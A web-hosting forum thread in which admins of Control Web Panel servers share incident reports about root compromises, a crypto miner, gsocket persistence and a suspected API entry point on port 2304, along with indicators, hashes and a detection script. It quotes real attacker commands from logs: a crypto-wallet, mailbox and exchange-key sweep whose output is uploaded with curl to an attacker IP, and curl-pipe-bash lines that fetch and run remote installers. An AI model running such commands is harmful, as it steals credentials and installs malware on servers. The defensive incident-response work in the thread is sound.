Control Web Panel

WebPanel => CentOS-WebPanel Bugs => Topic started by: Wonder on October 05, 2026, 02:28:05 PM

Title: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: Wonder on October 05, 2026, 02:28:05 PM
Hi,
I'm posting this because I've had a security incident on one of my CWP servers and, after seeing some of the recent security reports here, I thought it might be useful to share what I found and see if anyone else has seen the same thing.
The server is running AlmaLinux 8 with CWP.
I found what appears to be an OMRIG crypto miner, together with these suspicious services/binaries:
dbus-monitor-srv
polkitd-helpers
systemd-logind-helpers

There were also signs of persistence through systemd.
During the investigation I found these two IP addresses, which I have now blocked:
146.103.45.130
184.107.106.86

146.103.45.130 was related to the miner activity.
184.107.106.86 appeared during the investigation of suspicious outbound activity.
Another thing that caught my attention was port 2304, used by the CWP External API. It was publicly exposed on this server. I have now removed it from the allowed ports in CSF and confirmed that it is no longer accessible.
I have restored the server from a backup taken before the incident, removed/checked the suspicious services and files, blocked both IP addresses and closed port 2304.
I want to make clear that I cannot confirm that port 2304 or the CWP API was the entry point. I'm mentioning it because it was exposed at the time of the incident and because I've seen other recent reports of CWP servers being compromised with root access and crypto miners.
Has anyone else seen these same services/binaries or IP addresses on an affected CWP server?
And does anyone know if this could be related to one of the recent CWP security/API issues?
I still have information and logs from the incident, so I can provide more details if they are useful.
Thanks.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: alexander999 on October 05, 2026, 03:15:53 PM
This is what 184.107.106.86 was doing on my server, taken from cwp_api.log
mysql --defaults-extra-file=/root/.my.cnf  < /home/x;(
echo == mounts; df -h | grep -vE 'tmpfs|loop|udev'
echo == walletfind
timeout 70 find /home /var /opt /srv /mnt /media /data /usr/local /backup* /root -maxdepth 9 \( -iname 'wallet.dat' -o -iname '*.wallet' -o -iname 'keystore' -type d -o -iname 'electrum' -type d -o -iname 'bitcoin.conf' -o -iname 'litecoin.conf' -o -iname 'dogecoin.conf' -o -iname 'dash.conf' -o -iname 'monero' -type d -o -iname '.bitmonero' -o -iname '*xmr*wallet*' -o -iname 'xmrig*' -o -iname 'lnd.conf' -o -iname '*.lnd' -o -iname 'solana' -type d -o -iname 'id.json' \) -not -path '*node_modules*' -not -path '*phpmyadmin*' 2>/dev/null | head -100
echo == procs; ps auxwww | grep -iE 'xmrig|monerod|bitcoind|litecoind|dogecoind|geth|gaia|solana|cardano|tron|electrumx|btcpay|nbxplorer|dashd|zcashd|rippled|waves' | grep -v grep
echo == ports; ss -tlnp 2>/dev/null | grep -E ':8332|:8333|:18332|:9332|:18081|:18082|:8545|:8546|:30303|:8899|:22555'
echo ZMARK_END
) > /tmp/.yypvxqy 2>&1; curl -s -m 45 -F f=@/tmp/.yypvxqy http://184.107.106.86:993/act ;curl -s -m 45 --data-binary @/tmp/.yypvxqy http://184.107.106.86:993/act ; curl -s -m 45 -F f=@/tmp/.yypvxqy http://184.107.106.86:587/act ;curl -s -m 45 --data-binary @/tmp/.yypvxqy http://184.107.106.86:587/act ; curl -s -m 45 -F f=@/tmp/.yypvxqy http://184.107.106.86:465/act ;curl -s -m 45 --data-binary @/tmp/.yypvxqy http://184.107.106.86:465/act ; curl -s -m 45 -F f=@/tmp/.yypvxqy http://184.107.106.86:25/act ;curl -s -m 45 --data-binary @/tmp/.yypvxqy http://184.107.106.86:25/act ; curl -s -m 45 -F f=@/tmp/.yypvxqy http://184.107.106.86:8888/act ;curl -s -m 45 --data-binary @/tmp/.yypvxqy http://184.107.106.86:8888/act ; rm -f /tmp/.yypvxqy;echo/dumpsql.sql
okokokokokoksh: line 8: echo/user_grants.sql: No such file or directory

mysql --defaults-extra-file=/root/.my.cnf  < /home/x;( echo ## myserver.ovh vmail+crypto sweep
echo == vmaildoms
ls /var/vmail 2>/dev/null | head -40
echo == maildirs-dirs-crypto
find /var/vmail -maxdepth 4 -type d 2>/dev/null | grep -iE 'wallet|btc|eth|coin|mine|work|crypto|seed|seedphrase|backup' | head -40
echo == vmailgrep-subjects
timeout 240 grep -rliI -E '(subject:.*(wallet|seed|mnemonic|private.?key|bitcoin|monero|litecoin|doge|ethereum|keystore|solana|kaspa|exodus|electrum|metamask|trust.?wallet|binance|coinbase|kraken|kucoin))' /var/vmail /home/*/mail /var/spool/mail 2>/dev/null | head -100
echo == maildir-list
for m in /var/spool/mail/* ; do [ -s  ] && echo SPOOL ; done 2>/dev/null | head -20
echo == keyfind
timeout 150 find /home /root /var/www /opt /srv /mnt /media /backup /backups /data -maxdepth 8 \( -iname 'wallet.dat' -o -iname '*.wallet' -o -iname '*.kdbx' -o -iname 'UTC--*' -o -iname '*.keystore' -o -iname '*seed*phrase*' -o -iname '*electrum*' -o -iname 'id.json' -o -iname '*.xmr*' \) -not -path '*node_modules*' -not -path '*phpmyadmin*' 2>/dev/null | head -80
echo == exchangekeys
timeout 150 grep -rliI -E '(BINANCE_API|COINBASE_API|KUCOIN_API|BITMEX_API|secretKey.{0,40}(binance|kucoin)|api_key.{0,20}(telegram|binance))' /home/*/public_html /var/www /root 2>/dev/null | head -40
echo == dockercrypto
docker ps --format '{{.Image}} {{.Names}}' 2>/dev/null | grep -iE 'bitco|geth|monero|solana|tron|cardano|kaspa|nbxplorer|btcpay|electrum' | head -20
echo == btcpay
ls -d /root/.nbxplorer /root/.btcpayserver /home/*/.nbxplorer 2>/dev/null
echo ZMARK_END
) > /tmp/.ymwqrjq 2>&1; curl -s -m 45 -F f=@/tmp/.ymwqrjq http://184.107.106.86:993/act ;curl -s -m 45 --data-binary @/tmp/.ymwqrjq http://184.107.106.86:993/act ; curl -s -m 45 -F f=@/tmp/.ymwqrjq http://184.107.106.86:587/act ;curl -s -m 45 --data-binary @/tmp/.ymwqrjq http://184.107.106.86:587/act ; curl -s -m 45 -F f=@/tmp/.ymwqrjq http://184.107.106.86:465/act ;curl -s -m 45 --data-binary @/tmp/.ymwqrjq http://184.107.106.86:465/act ; curl -s -m 45 -F f=@/tmp/.ymwqrjq http://184.107.106.86:25/act ;curl -s -m 45 --data-binary @/tmp/.ymwqrjq http://184.107.106.86:25/act ; curl -s -m 45 -F f=@/tmp/.ymwqrjq http://184.107.106.86:8888/act ;curl -s -m 45 --data-binary @/tmp/.ymwqrjq http://184.107.106.86:8888/act ; rm -f /tmp/.ymwqrjq;echo/user_grants.sql
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: kandalf on October 06, 2026, 09:38:32 AM
How to clean the server? I think I have the same issue
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: Wonder on October 06, 2026, 12:31:16 PM
Quote from: kandalf on October 06, 2026, 09:38:32 AM
How to clean the server? I think I have the same issue
Hi. Before deleting anything, I would recommend checking whether your compromise is actually the same one.
We found several different indicators on the affected server, including OMRIG/XMRig-related persistence and later a suspicious root process running from a deleted memfd, so preserving evidence before cleaning is important.
If possible, please do not reinstall, reboot or delete suspicious files yet.
Could you first post the output of:
ps auxf
ss -plant
ss -lntp

find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null

systemctl list-unit-files --type=service | grep -Ei \
'systemd-logind-helpers|polkitd-helpers|dbus-monitor-srv|auth-policykit'

ls -la /usr/sbin/netd /usr/bin/systemd-logind-helpers \
/usr/bin/polkitd-helpers /usr/bin/dbus-monitor-srv 2>/dev/null


Also, if you use the CWP External API, please check whether port 2304 is publicly accessible and preserve these logs before doing anything else:
/usr/local/cwpsrv/logs/2304_access_log
/usr/local/cwpsrv/logs/2304_error_log
/var/log/cwp/cwp_api.log

In our case we found malicious requests to CWP API endpoints such as /v1/backup, /v1/endtransf/ and /v1/addemail/, followed by commands executed as root.
Please redact passwords, API keys/tokens and other credentials before posting any logs here.
Once we know whether the indicators match, I can explain what we removed and how we checked the server afterwards. But I would preserve the evidence first, because it may also help determine exactly how the CWP API was exploited.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: overseer on October 07, 2026, 01:15:03 AM
Definitely block port 2304 -- that was the CWP support team's official advice.

I'll chime in with my own experience shortly once I am done with the post-mortem. But mine was not a miner -- more of an advanced version of the now classic gsocket hack. So I may post to that thread instead of this one.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: Wonder on October 07, 2026, 07:05:10 AM
Absolutely. Port 2304 should be blocked from public access immediately. I should probably have made that explicit in my previous reply — I was focusing on preserving evidence before cleaning the compromised server.
Your comment about an advanced gsocket-style compromise is particularly interesting. In our case, after the earlier OMRIG/XMRig activity, we later found a root process running from a deleted memfd, with strings including GSOCKET_CONFIG in the preserved binary.
I would definitely be interested in comparing indicators once you publish your post-mortem.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: overseer on October 07, 2026, 10:35:11 PM
Okay, I'll post the post-mortem here. This is just one of my CWP servers -- none of the others were affected. I caught a hacker (via root's shell history) executing root commands on one of my CWP servers (running up-to-date CWP on AlmaLinux 8 with all current updates installed).
.
The initial entry script was to download and run this script (containing Indonesian/Malaysian comments):

curl -s https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/install.sh | bash
Hacker was planting php files at /home/*/public_html/404.php for all accounts. Another indication of compromise was test123zz files in the web roots for all accounts. Also, the server was running a fake kernel thread:
[card0-crtc8] /memfd:[card0-crtc8] (deleted)
After first noticing, I would kill this thread after a reboot. This was the way to hide a gsocket initialization and enable persistence. At some point after a few hours, the CPU on the server spikes to 100% and makes the server inaccessible, forcing a reboot.

The Malaysian hacker's obvious work was injecting casino advertising into a Drupal web site I have. It serves up a different sitemap if the visitor is a bot/crawler. I removed it from the live site (easy to spot given the root ownership of the live site files):
[root]# ls -al /home/username/public_html/web/
drwxrwxrwx 3 root root 43 Sep 20 11:37 bundles
drwxrwxrwx 3 root root 32 Sep 20 11:37 cdn-cgi
drwxrwxrwx 4 root root 111 Sep 20 11:37 Content
drwxrwxrwx 3 root root 20 Sep 20 11:31 d2rzzcn1jnr24x.cloudfront.net
-rw-r--r-- 1 root root 53 Sep 21 07:29 googleXXXXXXXX.html
-rw-r--r-- 1 root root 53 Sep 23 23:28 googleXXXXXXXX.html.gwtkTmp
-rw-rw-rw- 1 root root 8031 Sep 21 07:22 .htaccess
drwxrwxrwx 2 root root 4096 Sep 22 16:46 img
-rw-r--r-- 1 root root 81186 Sep 22 15:46 locations.php
-rw-r--r-- 1 root root 9021 Sep 21 07:38 sitemap.xml

The hacker tried to make it harder to remove the files by making them root owned, immutable and append-only attributes.
At this point,, the server's CSF firewall had been dropped for more than a week because it would block all inbound connections, creating a DoS. Also amavis & clamav was going nuts (100% CPU) so I had to disable those, too. [This was after the initial hacker entry, so it didn't seem to matter by then -- he has gsocket persistence and root access.]

Next, I found that the hacker had disabled PasswordAuthentication for SSH. He also enabled key based authentication for root, where I had root login disabled (I saw this as a sed command in root's shell history). I still had a root CWP Admin session, so I was able to edit the /etc/ssh/sshd_config file in File Manager and then restart the SSH daemon.

Next it seemed as if a second wave was hitting -- the easily identified "defunct" gsocket connection hit:
[root]# /usr/local/bin/find_fake_threads
[+] Starting scan for masqueraded kernel threads...
PID PPID COMMAND EXE_PATH
8861 1 sshd: overseer [priv] /usr/sbin/sshd
925 1 [watchdogd] /usr/bin/defunct


I killed the /usr/bin/defunct file, disabled the service, rm'd it, removed root authorized keys and newly-added keypair. I then ran CWP's hacker check script: /usr/local/cwpsrv/htdocs/resources/scripts/temp_hacker_check This seemed as though this is a new infection or competing hacker, because this was clearly a new 2nd wave. Tthe hacker thought he is safe from overview because history was supposedly disabled, but I was able to look at root's history and see his overnight maneuvers.

After a few days (traveling) I was finally able to really dissect the install scripts I caught the hacker installing and work through them:
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/install.sh
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/cek-domain.sh https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/user.sh
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/gs.sh

Based on language comments in the install scripts, hacker appears to be Indonesian/Malaysian. Appears to be a member of "The Hacking Club" (or THC).

IOC: Check for user named "kyytamine" and added to group assignments (root, wheel). Look to see if "apache" user has a password and home assignment.
Adds keys to /root/.ssh/authorized_keys
Adds himself as a sudoer. Check /etc/sudoers and /etc/sudoers.d/
Creates test files: test123zz files in /tmp and then in web roots are a clear IOC.

In my case, it was not the "defunct" service he installed for persistence (apart from that brief secondary infection), rather it comes from a randomized list of possibilities and mine was auth-policykit service. Possible service names for persistence, picked from a random array in his install script:
"systemd-hwdb-update" "network-core" "auth-policykit" "ssh-agent-proxy" "journald-forwarder"
which in turn point to possible binary names:
"udevd-sync" "netd" "firewallctl" "bootcfg" "authd"
Several of these were 0 bytes and lived in /usr/sbin (so I am assuming they were red herrings)-- but for me it was /usr/sbin/bootcfg that was the malicious file (an encoded binary, I think produced by a perl crypter). I killed the running binary, disabled & removed the malicious systemd service:
/usr/lib/systemd/system/auth-policykit.service
/etc/systemd/system/multi-user.target.wants/auth-policykit.service[/b]

After reboot, there was no more persistence -- no more fake kernel thread:
[code]"[card0-crtc8] /memfd:[card0-crtc8] (deleted)"

And even these fake kernel thread names are very random, chosen during install:
"sshd:" "[kthreadd]" "[kstrp]" "[watchdogd]" "[ksmd]" "[kswapd0]" "[card0-crtc8]" "[mm_percpu_wq]" "[rcu_preempt]" "[kworker]" "[raid5wq]" "[slub_flushwq]" "[netns]" "[kaluad]"

I blocked both GitHub and THC domains in my /etc/hosts file -- so these scripts can't be as easily downloaded and a test resolver of gs.thc.org in the install scrip fails:
127.0.0.1 raw.githubusercontent.com
127.0.0.1 github.com
127.0.0.1 gs.thc.org
127.0.0.1 thc.org

So, that wave was dealt with. Then it seemed as if I was running an unintentional CWP gsocket honeypot. The next night a different hacker ran this:
curl https://memek.cc/c.sh | bash

So back to the crux of the issue: port 2304 was open and the original hacker had effectively disabled CSF by doing something in the kernel that pertained to ipt_state/xt_state, so CSF would no longer start up. So to keep the server accessible, I couldn't run the firewall. CSF was failing:
"Testing ipt_state/xt_state...FAILED [FATAL Error: Warning: Extension state revision 0 not supported, missing kernel module?] - Required for csf to function"
I discovered the hacker had altered /etc/dnf/dnf.conf to disable kernel updates, so I wasn't receiving the latest AlmaLinux kernel that had been released Oct 1:
4.18.0-553.170.1.el8_10.x86_64
The file /etc/dnf/dnf.con was unwritable, I couldn't delete it or write to it even though it didn't have any attributes set (like +a or +i). I was able to move the whole /etc/dnf directory to /.trash and then re-create dnf.conf. After that, then I was able to install the new, unaltered kernel, reboot, and finally activate CSF (version 15.10 Aetherinox fork). So NOW I finally have CSF enabled and port 2304 blocked. Server is back to nominal now.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: overseer on October 07, 2026, 10:40:17 PM
Here's a script for discovering fake kernel threads (note that it regards SSH connections as suspicious, but good to check those, too):

#!/usr/bin/env bash
# ==============================================================================
# find_fake_threads.sh
# Detects masqueraded user-space processes mimicking Linux kernel threads.
# Legitimate kernel threads have a PPID of 2 (kthreadd) or 0.
# ==============================================================================

# Ensure the script is run as root to access all /proc paths
if [[ $EUID -ne 0 ]]; then
   echo "[-] Error: This script must be run as root (sudo)." 1>&2
   exit 1
fi

echo "======================================================================"
echo "[+] Starting scan for masqueraded kernel threads..."
echo "======================================================================"
echo -e "PID\tPPID\tCOMMAND\tEXE_PATH"
echo "----------------------------------------------------------------------"

# Counter for suspicious processes
found_suspicious=0

# Iterate through all running processes
for pid in /proc/[0-9]*/; do
    pid=${pid%/}; pid=${pid##*/}

    # Extract process name, removing surrounding parentheses from stat file
    comm=$(cat "/proc/$pid/comm" 2>/dev/null)
    stat_file="/proc/$pid/stat"

    if [ ! -f "$stat_file" ]; then
        continue
    fi

    # Read PPID from the 4th field of /proc/<pid>/stat
    ppid=$(awk '{print $4}' "$stat_file" 2>/dev/null)
    cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline" 2>/dev/null)

    # Fallback to comm if cmdline is empty
    if [ -z "$cmdline" ]; then
        cmdline="[$comm]"
    fi

    # Check if the process name looks like a kernel thread (wrapped in brackets or matching names)
    # or if the raw cmdline attempts to mimic standard target threads
    if [[ "$cmdline" =~ \[.*\] ]] || [[ "$comm" == "card0-crtc8" ]] || [[ "$comm" == "kswapd0" ]]; then
        # Real kernel threads must have PPID 2 or 0
        if [ "$ppid" -ne 2 ] && [ "$ppid" -ne 0 ]; then
            found_suspicious=$((found_suspicious + 1))

            # Resolve executable target path
            exe_path=$(readlink "/proc/$pid/exe" 2>/dev/null)
            if [ -z "$exe_path" ]; then
                exe_path="[Permission Denied / No Exe Link]"
            fi

            echo -e "${pid}\t${ppid}\t${cmdline:0:40}\t${exe_path}"
        fi
    fi
done

echo "----------------------------------------------------------------------"
if [ "$found_suspicious" -eq 0 ]; then
    echo "[+] Scan complete: No fake kernel thread processes detected."
else
    echo "[-] Scan complete: Found ${found_suspicious} suspicious user-space thread(s)."
    echo "[!] Action Required: Investigate the paths above. Malicious binaries running out of memory will often display 'memfd: / (deleted)'."
fi
echo "======================================================================"

Also consider installing whowatch:
dnf install whowatch
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: Freespirits_GR_Host on October 07, 2026, 10:47:31 PM
If you think you have the same compromise, I wouldn't start deleting files yet. First confirm whether the indicators actually match and preserve enough evidence to understand what happened.
Start with the running processes and network activity:
ps auxf
ss -plant
ss -lntp
Then check for processes whose executable has already been deleted:
find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null
Check systemd services/timers, root and user cron jobs, unfamiliar SSH keys and especially suspicious names such as systemd-logind-helpers, polkitd-helpers and dbus-monitor-srv.
If CWP API port 2304 is publicly accessible and you don't need it, close it. If you do need the API, restrict it to the specific trusted IPs that require access.
Preserve /usr/local/cwpsrv/logs/2304_access_log and /var/log/cwp/cwp_api.log before cleaning anything, and look around the compromise timestamp for /v1/backup or other unexpected API calls.

If you post the suspicious process names, services and relevant log lines—with passwords/API keys removed—we can compare the indicators before deciding what should be removed.
Full disclosure: I'm the developer of the CWP7 Security Audit Module. I built it specifically to help identify compromise and persistence indicators on CWP servers, so it can be useful for the verification stage here. But I would preserve and examine the evidence first rather than simply running a cleanup and assuming the machine is safe.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: Wonder on October 07, 2026, 11:38:25 PM
Quote from: overseer on October 07, 2026, 10:35:11 PM
Okay, I'll post the post-mortem here. This is just one of my CWP servers -- none of the others were affected. I caught a hacker (via root's shell history) executing root commands on one of my CWP servers (running up-to-date CWP on AlmaLinux 8 with all current updates installed).
.
The initial entry script was to download and run this script (containing Indonesian/Malaysian comments):

curl -s https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/install.sh | bash
Hacker was planting php files at /home/*/public_html/404.php for all accounts. Another indication of compromise was test123zz files in the web roots for all accounts. Also, the server was running a fake kernel thread:
[card0-crtc8] /memfd:[card0-crtc8] (deleted)
After first noticing, I would kill this thread after a reboot. This was the way to hide a gsocket initialization and enable persistence. At some point after a few hours, the CPU on the server spikes to 100% and makes the server inaccessible, forcing a reboot.

The Malaysian hacker's obvious work was injecting casino advertising into a Drupal web site I have. It serves up a different sitemap if the visitor is a bot/crawler. I removed it from the live site (easy to spot given the root ownership of the live site files):
[root]# ls -al /home/username/public_html/web/
drwxrwxrwx 3 root root 43 Sep 20 11:37 bundles
drwxrwxrwx 3 root root 32 Sep 20 11:37 cdn-cgi
drwxrwxrwx 4 root root 111 Sep 20 11:37 Content
drwxrwxrwx 3 root root 20 Sep 20 11:31 d2rzzcn1jnr24x.cloudfront.net
-rw-r--r-- 1 root root 53 Sep 21 07:29 googleXXXXXXXX.html
-rw-r--r-- 1 root root 53 Sep 23 23:28 googleXXXXXXXX.html.gwtkTmp
-rw-rw-rw- 1 root root 8031 Sep 21 07:22 .htaccess
drwxrwxrwx 2 root root 4096 Sep 22 16:46 img
-rw-r--r-- 1 root root 81186 Sep 22 15:46 locations.php
-rw-r--r-- 1 root root 9021 Sep 21 07:38 sitemap.xml

The hacker tried to make it harder to remove the files by making them root owned, immutable and append-only attributes.
At this point,, the server's CSF firewall had been dropped for more than a week because it would block all inbound connections, creating a DoS. Also amavis & clamav was going nuts (100% CPU) so I had to disable those, too. [This was after the initial hacker entry, so it didn't seem to matter by then -- he has gsocket persistence and root access.]

Next, I found that the hacker had disabled PasswordAuthentication for SSH. He also enabled key based authentication for root, where I had root login disabled (I saw this as a sed command in root's shell history). I still had a root CWP Admin session, so I was able to edit the /etc/ssh/sshd_config file in File Manager and then restart the SSH daemon.

Next it seemed as if a second wave was hitting -- the easily identified "defunct" gsocket connection hit:
[root]# /usr/local/bin/find_fake_threads
[+] Starting scan for masqueraded kernel threads...
PID PPID COMMAND EXE_PATH
8861 1 sshd: overseer [priv] /usr/sbin/sshd
925 1 [watchdogd] /usr/bin/defunct


I killed the /usr/bin/defunct file, disabled the service, rm'd it, removed root authorized keys and newly-added keypair. I then ran CWP's hacker check script: /usr/local/cwpsrv/htdocs/resources/scripts/temp_hacker_check This seemed as though this is a new infection or competing hacker, because this was clearly a new 2nd wave. Tthe hacker thought he is safe from overview because history was supposedly disabled, but I was able to look at root's history and see his overnight maneuvers.

After a few days (traveling) I was finally able to really dissect the install scripts I caught the hacker installing and work through them:
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/install.sh
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/cek-domain.sh https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/user.sh
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/gs.sh

Based on language comments in the install scripts, hacker appears to be Indonesian/Malaysian. Appears to be a member of "The Hacking Club" (or THC).

IOC: Check for user named "kyytamine" and added to group assignments (root, wheel). Look to see if "apache" user has a password and home assignment.
Adds keys to /root/.ssh/authorized_keys
Adds himself as a sudoer. Check /etc/sudoers and /etc/sudoers.d/
Creates test files: test123zz files in /tmp and then in web roots are a clear IOC.

In my case, it was not the "defunct" service he installed for persistence (apart from that brief secondary infection), rather it comes from a randomized list of possibilities and mine was auth-policykit service. Possible service names for persistence, picked from a random array in his install script:
"systemd-hwdb-update" "network-core" "auth-policykit" "ssh-agent-proxy" "journald-forwarder"
which in turn point to possible binary names:
"udevd-sync" "netd" "firewallctl" "bootcfg" "authd"
Several of these were 0 bytes and lived in /usr/sbin (so I am assuming they were red herrings)-- but for me it was /usr/sbin/bootcfg that was the malicious file (an encoded binary, I think produced by a perl crypter). I killed the running binary, disabled & removed the malicious systemd service:
/usr/lib/systemd/system/auth-policykit.service
/etc/systemd/system/multi-user.target.wants/auth-policykit.service[/b]

After reboot, there was no more persistence -- no more fake kernel thread:
[code]"[card0-crtc8] /memfd:[card0-crtc8] (deleted)"

And even these fake kernel thread names are very random, chosen during install:
"sshd:" "[kthreadd]" "[kstrp]" "[watchdogd]" "[ksmd]" "[kswapd0]" "[card0-crtc8]" "[mm_percpu_wq]" "[rcu_preempt]" "[kworker]" "[raid5wq]" "[slub_flushwq]" "[netns]" "[kaluad]"

I blocked both GitHub and THC domains in my /etc/hosts file -- so these scripts can't be as easily downloaded and a test resolver of gs.thc.org in the install scrip fails:
127.0.0.1 raw.githubusercontent.com
127.0.0.1 github.com
127.0.0.1 gs.thc.org
127.0.0.1 thc.org

So, that wave was dealt with. Then it seemed as if I was running an unintentional CWP gsocket honeypot. The next night a different hacker ran this:
curl https://memek.cc/c.sh | bash

So back to the crux of the issue: port 2304 was open and the original hacker had effectively disabled CSF by doing something in the kernel that pertained to ipt_state/xt_state, so CSF would no longer start up. So to keep the server accessible, I couldn't run the firewall. CSF was failing:
"Testing ipt_state/xt_state...FAILED [FATAL Error: Warning: Extension state revision 0 not supported, missing kernel module?] - Required for csf to function"
I discovered the hacker had altered /etc/dnf/dnf.conf to disable kernel updates, so I wasn't receiving the latest AlmaLinux kernel that had been released Oct 1:
4.18.0-553.170.1.el8_10.x86_64
The file /etc/dnf/dnf.con was unwritable, I couldn't delete it or write to it even though it didn't have any attributes set (like +a or +i). I was able to move the whole /etc/dnf directory to /.trash and then re-create dnf.conf. After that, then I was able to install the new, unaltered kernel, reboot, and finally activate CSF (version 15.10 Aetherinox fork). So NOW I finally have CSF enabled and port 2304 blocked. Server is back to nominal now.

Thank you very much for taking the time to publish such a detailed post-mortem. This is extremely valuable, especially since we appear to have encountered a very similar GSocket persistence mechanism.

After comparing your findings with the forensic evidence preserved from our affected AlmaLinux 8/CWP server, I can confirm several very specific matches:

- **Systemd persistence:** `/usr/lib/systemd/system/auth-policykit.service`
- **Malicious executable:** `/usr/sbin/netd`
- **Disguised process:** `[kstrp]`, running as root with PPID 1
- **In-memory executable:** `/proc/925/exe -> /memfd:[kstrp] (deleted)`
- **GSocket indicator:** `GSOCKET_CONFIG` found in strings extracted from the preserved executable
- **Outbound connection:** `212.132.98.170:443`, associated with the suspicious process

Interestingly, your analysis identifies `netd` as one of the possible randomly selected executable names, and `[kstrp]` as one of the possible fake kernel thread names. Both were present on our server.

We preserved the malicious service definition and binaries before removing the persistence mechanism. The relevant SHA256 hashes are:

- `netd`: `98553b468575a601203470d4013727dc4154d161a2054ccd572faf98aebff324`
- Preserved `[kstrp]` memfd executable: `9fb6cbd55e44c38abd8c289587d132bc8e3c12efd3d29296149fcd0104031e1a`

Your `find_fake_threads` script is also a useful detection approach. In our case, the distinction between the malicious `[kstrp]` process with PPID 1 and the legitimate kernel thread with PPID 2 was particularly important.

We checked for the `kyytamine` account and related sudo entries, without finding them. We also checked for `test123zz` files and examined the `404.php` files found in our web directories; those were legitimate older vBulletin files rather than the malicious files described in your report.

There is one important difference in our timeline: we had previously identified an OMRIG/XMRig mining infection involving `146.103.45.130`, followed by the GSocket-style persistence described above. We cannot yet establish whether both stages were performed by the same attacker.

We also managed to retrieve and examine the original malicious `omrig.sh` installer during our initial investigation. However, we deleted our local copy afterward as a precaution, so unfortunately we no longer have the script available for comparison.

We subsequently attempted to retrieve it again from `146.103.45.130`, but the server now refuses connections on TCP port 80 from both of our VPSs.

As a result, we cannot currently compare that original installer with the Kyy-Shell scripts you identified.

Regarding the initial entry point, we preserved the CWP External API logs, including `2304_access_log` and `cwp_api.log`. They contain suspicious activity involving `/v1/backup`, `/v1/addemail/`, and `/v1/endtransf/`, including shell commands embedded in API-related operations.

**Did you find any corresponding API requests or suspicious entries in `cwp_api.log` around the time of your initial compromise?**

That comparison could help determine whether we are looking at the same entry point, rather than only the same post-exploitation toolkit.

Port 2304 is now blocked from public access on our affected servers.

Thanks again for sharing the scripts, indicators and remediation details. Your post-mortem has helped us connect several pieces of evidence that previously appeared to be separate.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: adrianofnatal on October 08, 2026, 01:28:15 PM
Totally frustrating.

I don't know if was on that port.
I have ALL panel ports blocked except 2304 and 2087 that is blocked for all IPs except my IP in our datacenter's firewall and got comprimised.

There is another hole.

Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: Wonder on October 08, 2026, 07:25:14 PM
**Update: Original OMRIG installer recovered and further analysis**

I have some additional findings to share.

We were finally able to recover the original malicious `omrig.sh` installer from:

`http://146.103.45.130/omrig.sh`

Initially, we could not retrieve it from either of our affected servers. I then remembered that we had blocked the attacker's IP addresses for both inbound and outbound traffic as part of our containment measures.

Using a separate test server, we successfully downloaded the script without executing it. The recovered file contains 1,183 lines and matches the installer we examined during our initial investigation.

The SHA256 of the recovered script is:

`ee5bb2094d51fc9deb38e377afa8273ac3115259f94415932c57d01021187dc7`

After reviewing the installer, we identified the following behavior:

- **Miner download:** Retrieves an additional executable from `http://146.103.45.130/omrig`.
- **Mining configuration:** Generates a `config.json` using the `rx/0` algorithm and connects to `146.103.45.130:3333`.
- **Randomized executable names:** Selects between `polkitd-helpers`, `dbus-monitor-srv`, and `systemd-logind-helpers`. These are the exact three names we encountered during our investigation.
- **Systemd persistence:** Creates a service disguised as a D-Bus component, enables automatic startup, and configures automatic restarts.
- **Alternative persistence:** Includes fallback mechanisms involving cron, `rc.local`, and shell startup files.
- **Process masquerading:** Can disguise processes using kernel-thread-like names.
- **Timestamp manipulation:** Uses `touch` to alter file timestamps, potentially making newly created malicious files appear older.
- **Command obfuscation:** Includes Base64/hexadecimal encoding mechanisms.

The randomized executable names are particularly significant because they directly match the malicious components we previously identified and preserved.

However, this installer does not, by itself, establish a direct relationship with the GSocket/Kyy-Shell persistence mechanism described in your post-mortem.

We have also performed additional checks on both affected servers, looking for the known malicious service names, suspicious cron entries, references in `rc.local` and root's shell startup files, and processes running from deleted or `memfd` executables.

**None of these checks revealed the known malicious indicators or active persistence mechanisms.**

We also examined `systemd-hwdb-update.service`, since this name appears in your list of possible malicious service names. On both affected servers, its unit definition corresponds to the legitimate systemd hardware database update service. We compared it with the same service on our separate AlmaLinux 9 test server.

Of course, we recognize that the absence of these indicators does not guarantee the integrity of a system previously compromised with root privileges.

The original installer is now preserved offline for further analysis.

Thanks again for sharing your findings. Having the original OMRIG installer available should help us distinguish the mining infection from the subsequent GSocket persistence and determine whether there is any actual connection between them.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: overseer on October 09, 2026, 02:29:55 AM
I'm so glad you were able to capture the omri.sh -- I was very curious to dissect it and check to make sure my server didn't also have a miner on it. In looking at the code, there are some similarities with the installers I saw on my server, but I don't see a direct lineage there. I'm sure there's a lot of code borrowing in that circle!

